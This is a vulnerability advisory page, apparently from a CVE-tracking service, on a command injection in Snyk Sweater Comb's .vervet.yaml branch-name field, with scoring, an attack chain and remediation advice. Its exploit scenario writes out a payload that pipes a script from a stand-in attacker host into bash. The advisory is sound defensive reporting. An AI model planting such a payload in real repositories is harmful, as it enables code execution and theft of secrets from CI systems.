Skip to main content

Snyk Sweater Comb CVE-2026-75486

| EUVDEUVD-2026-67789 HIGH
OS Command Injection (CWE-78)
2026-08-28 VulnCheck GHSA-rcgj-xg9w-8x5p
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain repository contributor access
  2. Delivery
    Insert injected shell payload into .vervet.yaml branch name field
  3. Exploit
    Submit pull request or push to accessible branch
  4. Execution
    Victim or CI system runs sweater-comb lint against malicious config
  5. Persist
    child_process.exec() evaluates shell metacharacters
  6. Impact
    Arbitrary OS commands execute on lint host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control the content of the linters.<key>.optic-ci.original field within the .vervet.yaml configuration file in the target repository. This access can be achieved via direct repository write access, an accepted or automatically-checked-out pull request, or a compromised configuration source. A victim or CI pipeline must then execute the sweater-comb lint command against the repository containing the malicious configuration - this active user interaction (CVSS 4.0 UI:A) is a hard prerequisite. Exploitation is meaningfully limited in repositories where lint runs are gated to post-review states, where branch protection prevents unapproved changes to .vervet.yaml, or where the CI runner has no access to sensitive credentials or network resources. The CVSS 4.0 PR:L metric confirms that some level of repository access or contribution privilege is required; unauthenticated external attackers without any repository access cannot exploit this vulnerability.

Impact

The CVSS 4.0 score of 8.5 reflects high impact across confidentiality, integrity, and availability on the vulnerable system, with low privileges required and active user interaction as a prerequisite. The practical exploitation path is constrained: an attacker must be able to write or influence the contents of .vervet.yaml - through contributor access, a pull request, or a compromised upstream source - and the lint command must then execute against that configuration. The absence of a CISA KEV listing and no confirmed public proof-of-concept indicate that exploitation is not currently widespread, though the technique is mechanically straightforward once the configuration vector is established. CI/CD pipelines that automatically run sweater-comb lint against unreviewed branches represent the highest-risk deployment pattern, as the attack can be fully automated and leads directly to arbitrary command execution on the runner, enabling secrets exfiltration, credential theft, or supply chain compromise. EPSS data was not provided in the source intelligence and cannot be inferred. No conflicts between the CVSS network attack vector and the description's exploitation mechanics were identified - the network vector is consistent with the malicious pull request scenario where the attacker never needs local system access.

Exploit ScenarioDerived

An attacker with contributor-level access submits a pull request inserting a payload such as $(curl https://attacker.example/payload.sh | bash) as the value of linters.api.optic-ci.original in .vervet.yaml. When a maintainer checks out the branch and runs sweater-comb lint, or when an automated CI pipeline runs lint on the PR branch, the Node.js child_process.exec() call evaluates the shell substitution and executes the attacker's payload with the privileges of the lint process. No public proof-of-concept was identified at time of analysis, but the technique is mechanically straightforward given the disclosed code path.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Command injection in Snyk Sweater Comb before version 3.8.8 allows an attacker who controls the .vervet.yaml configuration file to execute arbitrary OS commands on the host running the lint operation. The root cause is the expectGitBranch() function in src/lint.ts passing the unsanitized linters.<key>.optic-ci.original branch name value directly into Node.js child_process.exec() via an unescaped template literal, where the shell interpreter evaluates injected metacharacters as commands. The highest-risk exploitation path is a malicious pull request that plants a crafted .vervet.yaml, triggering command execution when a maintainer or CI pipeline subsequently runs sweater-comb lint; no CISA KEV listing or confirmed public exploit exists at time of analysis.

RemediationAI

Upgrade Snyk Sweater Comb to version 3.8.8 or later, released 2026-08-27, which resolves this vulnerability per the GitHub release at https://github.com/snyk/sweater-comb/releases/tag/v3.8.8 and fix commit https://github.com/snyk/sweater-comb/commit/05a0eec4f2acb9ce6d4814016b475504bc64eab2. Where immediate upgrade is not feasible, restrict who can modify .vervet.yaml by enforcing repository branch protection rules and requiring code owner approval for configuration file changes before any lint pipeline executes against a branch. As a high-priority interim measure, disable automatic sweater-comb lint execution against unreviewed pull request branches; run lint only after human review has approved the .vervet.yaml content. Sandboxing the lint process in a container with no network egress, read-only filesystem mounts, and a restricted service account reduces blast radius if exploitation occurs, at the cost of added CI pipeline complexity.

Affected VersionsENISA

sweater-comb 0 <3.8.8

Affected Packages

euvd sweater_comb fix: 3.8.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Snyk Sweater Comb (CPE: cpe:2.3:a:snyk:sweater-comb:*:*:*:*:*:*:*:*) is a Node.js API linting and governance tool built on the vervet framework, used to enforce versioned REST API design standards. The vulnerability is located in expectGitBranch() within src/lint.ts, where the optic-ci.original field value from .vervet.yaml is interpolated directly into a shell command string passed to child_process.exec(). CWE-78 (OS Command Injection) applies because exec() invokes the system shell, causing embedded metacharacters - such as $(), backticks, semicolons, or pipes - to be interpreted as command substitution or separators rather than literal string data. The safe alternative pattern, passing arguments as an array to child_process.execFile() or child_process.spawn(), was not used, allowing the shell to process the unsanitized input.

Know when Sweater Comb gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.0 HIGH

Network vector reflects the malicious-PR exploitation path; PR:L for required contributor access; UI:R because the lint command must be actively invoked by a victim or pipeline.

3.1 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Synk Sweater Comb before 3.8.8 contains a command injection vulnerability that allows an attacker who controls the .vervet.yaml configuration file to execute arbitrary OS commands by injecting malicious input into the linters.<key>.optic-ci.original branch name field. The expectGitBranch() function in src/lint.ts passes the unsanitized branch name directly into child_process.exec() via an unescaped template literal, enabling arbitrary command execution when the lint command is run against the repository.

Executive ViewAI

Why It Matters

Snyk Sweater Comb versions before 3.8.8 contain a command injection vulnerability allowing attackers to execute arbitrary operating system commands through malicious .vervet.yaml configuration files. Developers and CI/CD systems running the lint operation are at risk of code execution and infrastructure compromise, particularly when processing pull requests from external contributors.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.3%
Top 33% exploitable
Prevalence
Low
niche Snyk-ecosystem API governance tool, limited enterprise deployment footprint
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy